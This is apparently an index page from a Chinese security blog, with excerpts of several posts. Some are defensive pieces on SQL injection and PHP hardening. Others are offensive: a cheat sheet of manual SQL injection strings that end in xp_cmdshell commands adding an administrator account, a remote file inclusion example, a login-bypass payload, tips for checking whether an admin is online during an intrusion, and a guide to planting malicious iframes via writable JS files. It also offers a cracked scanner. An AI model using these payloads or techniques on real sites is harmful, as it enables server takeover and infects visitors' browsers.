PHP+MySQL注入的解决方案
作者: claymore 发表于: 2009-04-30 12:04:59
关于注入前略,请参考相关文档。
也许有人会自我安慰,说攻击者要知道数据库结构的信息才能实施上面的攻击。没错,确实如此。但没人能保证攻击者一定得不到这些信息,一但他们得到了,数据库有泄露的危险。如果你在用开放源代码的软件包来访问数据库,比如论坛程序,攻击者就很容得到到相关的代码。如果这些代码设计不良的话,风险就更大了。
这些攻击总是建立在发掘安全意识不强的代码上的。所以,永远不要信任外界输入的数据,特别是来自于客户端的,包括选择框、表单隐藏域和 cookie。就如上面的第一个例子那样,就算是正常的查询也有可能造成灾难。
- 永远不要使用超级用户或所有者帐号去连接数据库。要用权限被严格限制的帐号。
- 检查输入的数据是否具有所期望的数据格式。PHP 有很多可以用于检查输入的函数,从简单的变量函数和字符类型函数(比如 is_numeric(),ctype_digit())到复杂的 Perl 兼容正则表达式函数都可以完成这个工作。
阅读全文...
标签: 注入 解决 方案
php 安全
作者: claymore 发表于: 2008-06-04 13:12:50
一、Web服务器安全
PHP其实不过是Web服务器的一个模块功能,所以首先要保证Web服务器的安全。当然Web服务器要安全又必须是先保证系统安全,这样就扯远了,无穷无尽。PHP可以和各种Web服务器结合,这里也只讨论Apache。非常建议以chroot方式安装启动Apache,这样即使Apache和PHP及其脚本出现漏洞,受影响的也只有这个禁锢的系统,不会危害实际系统。但是使用chroot的Apache后,给应用也会带来一定的麻烦,比如连接mysql时必须用127.0.0.1地址使用tcp连接而不能用localhost实现socket连接,这在效率上会稍微差一点。还有mail函数发送邮件也是个问题,因为php.ini里的:
[mail function]
; For Win32 only.
SMTP = localhost
; For Win32 only.
sendmail_from = me@localhost.com
; For Win32 only.
SMTP = localhost
; For Win32 only.
sendmail_from = me@localhost.com
都是针对Win32平台,所以需要在chroot环境下调整好sendmail。
二、PHP本身问题 网管u家u.bitscn@com
1、远程溢出
PHP-4.1.2以下的所有版本都存在文件上传远程缓冲区溢出漏洞,而且攻击程序已经广泛流传,成功率非常高.
阅读全文...
标签: PHP安全
用PHP函数解决SQL injection
作者: claymore 发表于: 2008-06-04 13:06:15
SQL injection问题在ASP上可是闹得沸沸扬扬?当然还有不少国内外著名的PHP程序“遇难”。至于SQL injection的详情,网上的文章太多了,在此就不作介绍。
如果你网站空间的php.ini文件里的magic_quotes_gpc设成了off,那么PHP就不会在敏感字符前加上反斜杠(\),由于表单提交的内容可能含有敏感字符,如单引号('),就导致了SQL injection的漏洞。在这种情况下,我们可以用addslashes()来解决问题,它会自动在敏感字符前添加反斜杠。
但是,上面的方法只适用于magic_quotes_gpc=Off的情况。作为一个开发者,你不知道每个用户的magic_quotes_gpc是On还是Off,如果把全部的数据都用上addslashes(),那不是“滥杀无辜”了?假如magic_quotes_gpc=On,并且又用了addslashes()函数,那让我们来看看:
[language=PHP]
<?php
//如果从表单提交一个变量$_POST['message'],内容为 Tom's book
//这此加入连接MySQL数据库的代码,自己写吧
//在$_POST['message']的敏感字符前加上反斜杠
$_POST['message'] = addslashes($_POST['message']);
<?php
//如果从表单提交一个变量$_POST['message'],内容为 Tom's book
//这此加入连接MySQL数据库的代码,自己写吧
//在$_POST['message']的敏感字符前加上反斜杠
$_POST['message'] = addslashes($_POST['message']);
//由于magic_quotes_gpc=On,所以又一次在敏感字符前加反斜杠
$sql = "INSERT INTO msg_table VALUE('$_POST[message]');";
$sql = "INSERT INTO msg_table VALUE('$_POST[message]');";
//发送请求,把内容保存到数据库内
$query = mysql_query($sql);
$query = mysql_query($sql);
//如果你再从数据库内提取这个记录并输出,就会看到 Tom\'s book
?>
?>
阅读全文...
标签: PHP安全 SQL注入
PHP网站漏洞的相关总结
作者: claymore 发表于: 2008-06-04 13:02:46
从现在的网络安全来看,大家最关注和接触最多的WEB页面漏洞应该是ASP了,在这方面,小竹是专家,我没发言权.然而在PHP方面来看,也同样存在很严重的安全问题,但是这方面的文章却不多.在这里,就跟大家来稍微的讨论一下PHP页面的相关漏洞吧.
我对目前常见的PHP漏洞做了一下总结,大致分为以下几种:包含文件漏洞,脚本命令执行漏洞,文件泄露漏洞,SQL注入漏洞等几种.当然,至于COOKIE 欺骗等一部分通用的技术就不在这里讨论了,这些资料网上也很多.那么,我们就一个一个来分析一下怎样利用这些漏洞吧!
首先,我们来讨论包含文件漏洞.这个漏洞应该说是PHP独有的吧.这是由于不充分处理外部提供的恶意数据,从而导致远程攻击者可以利用这些漏洞以WEB进程权限在系统上执行任意命令.我们来看一个例子:假设在a.php中有这样一句代码:
<?php
include($include."/xxx.php");
?>
include($include."/xxx.php");
?>
在这段代码中,$include一般是一个已经设置好的路径,但是我们可以通过自己构造一个路径来达到攻击的目的.比方说我们提交:a.php? include=http://web/b.php,这个web是我们用做攻击的空间,当然,b.php也就是我们用来攻击的代码了.我们可以在 b.php中写入类似于:passthru("/bin/ls /etc");的代码.这样,就可以执行一些有目的的攻击了.(注:web服务器应该不能执行php代码,不然就出问题了.相关详情可以去看< <如何对PHP程序中的常见漏洞进行攻击>>).在这个漏洞方面,出状况的很多,比方说:PayPal Store Front, HotNews,Mambo Open Source,PhpDig,YABB SE,phpBB,InvisionBoard,SOLMETRA SPAW Editor,Les Visiteurs,PhpGedView,X-Cart等等一些.
阅读全文...
标签: PHP安全
常用手工注入命令
作者: claymore 发表于: 2008-06-02 23:13:47
1.判断是否有注入;and 1=1 ;and 1=2
2.初步判断是否是mssql ;and user>0
3.注入参数是字符'and [查询条件] and ''='
4.搜索时没过滤参数的'and [查询条件] and '%25'='
5.判断数据库系统
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access
6.猜数据库 ;and (select Count(*) from [数据库名])>0
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
9.(1)猜字段的ascii值(access)
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
(2)猜字段的ascii值(mssql)
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
(2)猜字段的ascii值(mssql)
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
10.测试权限结构(mssql)
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
;and 1=(select IS_MEMBER('db_owner'));--
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
;and 1=(select IS_MEMBER('db_owner'));--
11.添加mssql和系统的帐户
;exec master.dbo.sp_addlogin username;--
;exec master.dbo.sp_password null,username,password;--
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
;exec master.dbo.xp_cmdshell 'net user username password
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
;exec master.dbo.xp_cmdshell 'net user username password /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
;exec master.dbo.sp_addlogin username;--
;exec master.dbo.sp_password null,username,password;--
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
;exec master.dbo.xp_cmdshell 'net user username password
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
;exec master.dbo.xp_cmdshell 'net user username password /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
阅读全文...
标签: SQL注入
Acunetix Web Vulnerability Scanner V5.1 破解版
作者: claymore 发表于: 2008-06-01 02:29:01
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
Acunetix Web Vulnerability Scanner V5.1
功能很好,很强大。就是操作界面比较复杂,需要时间摸索。
附件里是5.1版的破解文件,原版请到下面的地址去下载。
原版下载地址:http://www.skycn.com/soft/37545.html
原版下载地址:http://www.skycn.com/soft/37545.html
下载好后,将破解文件放入安装文件同目录,破解后,输入任意注册码即可。经测试可以自动更新,大家爽吧!
下载地址:
破解补丁
破解补丁
Modified At 2008-06-01 02:30:03
阅读全文...
标签: 工具软件
php+mysql注射语句构造
作者: claymore 发表于: 2008-06-01 01:54:15
作者:特洛伊剑客's Blog
一.前言:
测试版本信息:Okphp BBS v1.3 开源版
由于PHP和MYSQL本身得原因,PHP+MYSQL的注射要比asp困难,尤其是注射时语句的构造方面更是个难点,本文主要是借对Okphp BBS v1.3一些文件得简单分析,来谈谈php+mysql注射语句构造方式,希望本文对你有点帮助。
声明:文章所有提到的"漏洞",都没有经过测试,可能根本不存在,其实有没有漏洞并不重要,重要的是分析思路和语句构造。
声明:文章所有提到的"漏洞",都没有经过测试,可能根本不存在,其实有没有漏洞并不重要,重要的是分析思路和语句构造。
二."漏洞"分析:
1.admin/login.php注射导致绕过身份验证漏洞:
代码:
$conn=sql_connect($dbhost, $dbuser, $dbpswd, $dbname);
$password = md5($password);
$q = "select id,group_id from $user_table where username='$username' and password='$password'";
$res = sql_query($q,$conn);
$row = sql_fetch_row($res);
$password = md5($password);
$q = "select id,group_id from $user_table where username='$username' and password='$password'";
$res = sql_query($q,$conn);
$row = sql_fetch_row($res);
$q = "select id,group_id from $user_table where username='$username' and password='$password'"中
$username 和 $password 没过滤, 很容易就绕过。
对于select * from $user_table where username='$username' and password='$password'这样的语句改造的方法有:
$username 和 $password 没过滤, 很容易就绕过。
对于select * from $user_table where username='$username' and password='$password'这样的语句改造的方法有:
构造1(利用逻辑运算):$username=' OR 'a'='a $password=' OR 'a'='a
阅读全文...
标签: CSS相关
如何判定管理员是否在线
作者: claymore 发表于: 2008-06-01 01:38:56
Inking注:我喜欢query user,人比较懒,什么方便用什么,而且自己做“坏事”时从来不小心的 ^o^
随着网络黑客工具的简单化和傻瓜化,越来越多的网络爱好者可以通过现成的攻击工具轻松的入侵主机,然而谁也不想在管理员的眼皮底下做入侵,所以在入侵成功以后,一个很重要的事情是:你能不能确认你的行为在别人的监视之下?所以我们首先要知道管理员是不是现在正在你入侵的主机上?
如何判定管理员在线,我们要知道的是管理员是通过什么方式管理主机的:是pcanywhere、vnc、DameWar、终端服务、ipc、telnet还是本地登陆···
一、对于用第三方的控屏工具(pcanywhere、vnc、DameWar等),你只要看相应端口有没有状态为"ESTABLISHED"的连接。一个netstat -an就可以知道,如果想查看与端口相关的进程,使用Fport.exe就可以了。比如我们在一台主机上使用netstat -an发现如下的信息:
Active Connections
Proto Local Address Foreign Address State
TCP lin:1755 lin:telnet ESTABLISHED
TCP lin:1756 lin:netbios-ssn ESTABLISHED
TCP lin:1758 202.103.243.105:http TIME_WAIT
TCP lin:1764 202.103.243.105:http TIME_WAIT
TCP lin:6129 lin:1751 ESTABLISHED
TCP lin:1756 lin:netbios-ssn ESTABLISHED
TCP lin:1758 202.103.243.105:http TIME_WAIT
TCP lin:1764 202.103.243.105:http TIME_WAIT
TCP lin:6129 lin:1751 ESTABLISHED
阅读全文...
突破权限继续挂马
作者: claymore 发表于: 2008-06-01 01:27:12
文章作者:Inking
写这篇文章的目的主要是因为自己在为刚开的博客刷点流量时遇到了点困难,所以就花了点时间想了下这个问题,既然想了下,所以就干脆梳理出来写成文章,也许对刚刚接触这块的同志们会起到点作用吧。
首先讲一下挂马要挂到哪里。讲到挂马,很多人会不由自主的想到“首页挂马”,一想到首页就想到index.*文件了,当然这不失为一个好办法,首页的浏览量通常是最大的,但是这绝对不是一个最优的办法。也有的人说干脆批量挂马,针对这种思想我无任何话说。我们仔细想一想,哪个东西在网站出现的概率是最大的,呵呵当然是header了(网站的最顶部,通常用于放置logo等),其次便是foot和sidebar了,按照HTML的执行顺序(从上到下),最好的办法就是挂在header里面了,所以挂马时先针对网站的特点,找一个最好的对策来进行挂马。此外像global.*、config.*这类网页文件也是一个好地方,被其他网页调用的概率极大。
解决了挂马地方的问题后我们要着重讨论如何针对管理员设置的权限进行挂马,这些方法很多人应该都在用,我只是针对自己所学的知识进行梳理。一般来说挂马的方式有两种,一种是直接往要挂的网页文件里插入一个iframe标签,还有一种是用js的document.write写入一个iframe标签。我们首先讨论js挂马。js挂马最好的一个优点是隐蔽,因为管理员无法直接通过搜索找到iframe标签,而且我们可以针对插入的js代码进行加密,这样隐藏的效率就更高了。在这篇文章里我们并不是利用js的隐蔽性,而是它的自由性——js可以从任何一个可访问的网站被调用。在我昨天遇到的情况里就是利用这个办法。我想去挂对方的index.php和header.php两个文件,但是发现所以的php脚本文件都被设置了不可改权限,所以直接想改写该文件是不可能了,我只能通过其调用的文件进行挂马。通过阅读源代码,发现程序员调用了很多的js文件,所以我便一个个去找,然后找到两个没有被限定权限的js文件,其中一个文件是站长流量统计的,由于统计代码在整站都是会被调用的,结果改写了仅仅一个js文件,整个网站的所有网页都被挂上去了,而且其它子域的网页也被挂上,当然这几个域的网页是不在这台服务器上的,js的优点瞬间体现了出来。这也是利用了管理员的疏忽——只设定php文件的权限。
阅读全文...
真实的网络攻击取证纪实
作者: claymore 发表于: 2008-06-01 00:03:22
作者:诚信网安--子明
随着信息技术的发展,越来越多的人都喜欢用计算机办公,发邮件,建设自己的个人站点,公司建立自己的企业站点,政府也逐渐的采取了网上办公,更好的为人民服务,银行和证券机构也都开始依托互联网来进行金融和股票交易,但是随着方便的同时也同时带来了新的一些计算机网络安全隐患,随着司法机关的介入,我相信在不久的将来,网络攻击调查取证也会成为立法机构必须要考虑设立的一门新的学科,目前来说开设这个的课程多在网络警察和一些特殊机关,现在我来给大家讲下我亲身经历并参与完成的一次取证过程,用事实来讲述;
我一直从事病毒分析,网络攻击响应相关的工作,这次应好朋友的邀请,帮忙配合去协查几台服务器,我们来到了某XXX驻地,首先进行例行检查。经过了 1天左右的时间的检查,其中用到了一些专用设备也包含自主编写的工具以及第三方提供的勘察取证软件,共发现问题主机服务器10台,其中2台比较严重,(以下用A服务器和B服务器来代替)和朋友商定后,决定带回我们的实验室,进行专项深入分析。
习惯的检查步骤操作:
服务器操作系统版本信息——>操作系统补丁安装情况——>操作系统安装时间,中间有没有经过进行重新安装——>服务器维护情况——>服务器上面安装的软件版本信息
阅读全文...









